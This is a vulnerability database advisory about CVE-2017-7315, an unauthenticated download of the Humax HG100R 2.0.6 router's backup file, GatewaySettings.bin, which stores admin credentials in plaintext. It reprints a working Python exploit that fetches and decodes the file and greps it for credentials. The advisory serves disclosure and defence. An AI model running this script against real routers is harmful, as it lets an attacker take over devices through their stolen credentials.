Humax HG100R 2.0.6 Backup Download GatewaySettings.bin Credentials information disclosure

Summaryinfo

A vulnerability, which was classified as critical, has been found in Humax HG100R 2.0.6. Affected by this issue is some unknown functionality of the file GatewaySettings.bin of the component Backup Download Handler. This manipulation causes information disclosure (Credentials). This vulnerability is tracked as CVE-2017-7315. The attack is possible to be carried out remotely. Moreover, an exploit is present.

Detailsinfo

A vulnerability has been found in Humax HG100R 2.0.6 and classified as critical. Affected by this vulnerability is an unknown functionality of the file GatewaySettings.bin of the component Backup Download Handler. The manipulation with an unknown input leads to a information disclosure vulnerability (Credentials). The CWE definition for the vulnerability is CWE-200. The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. As an impact it is known to affect confidentiality. The summary by CVE is:

An issue was discovered on Humax Digital HG100R 2.0.6 devices. To download the backup file it's not necessary to use credentials, and the router credentials are stored in plaintext inside the backup, aka GatewaySettings.bin.

The bug was discovered 03/14/2016. The weakness was disclosed 07/04/2017 (Website). It is possible to read the advisory at exploit-db.com. This vulnerability is known as CVE-2017-7315 since 03/29/2017. The attack can be launched remotely. The exploitation doesn't need any form of authentication. Technical details and also a public exploit are known. The attack technique deployed by this issue is T1592 according to MITRE ATT&CK.

A public exploit has been developed by gambler in Python and been published before and not just after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as highly functional. The vulnerability was handled as a non-public zero-day exploit for at least 476 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:

def exploit(server):
    path = '/view/basic/GatewaySettings.bin'
    if not server.startswith('http'):
        server = 'http://%s' % server
    if server.endswith('/'):
        server = server[:-1]+''
    url = '%s/%s' %(server,path)
    print '[+] - Downloading configuration file and decoding'
    try:
        r = requests.get(url, stream=True,timeout=10)
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:
                rawdata = r.content
        save(rawdata)
    except:
        pass
 
def save(rawdata):
    config = base64.b64decode(rawdata).decode('ascii','ignore').replace('^@','')
    open('config.txt', 'w').write(config)
    print '[+] - Done, file saved as config.txt'
    infos = subprocess.Popen(["strings config.txt | grep -A 1 admin"], shell=True,stdout=subprocess.PIPE).communicate()[0]
    print '[+] - Credentials found'
    print infos

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the vulnerability database at Exploit-DB (42284). The entries VDB-103029 and VDB-103028 are pretty similar. Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Productinfo

Vendor

• Humax

Name

• HG100R

Version

• 2.0.6

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

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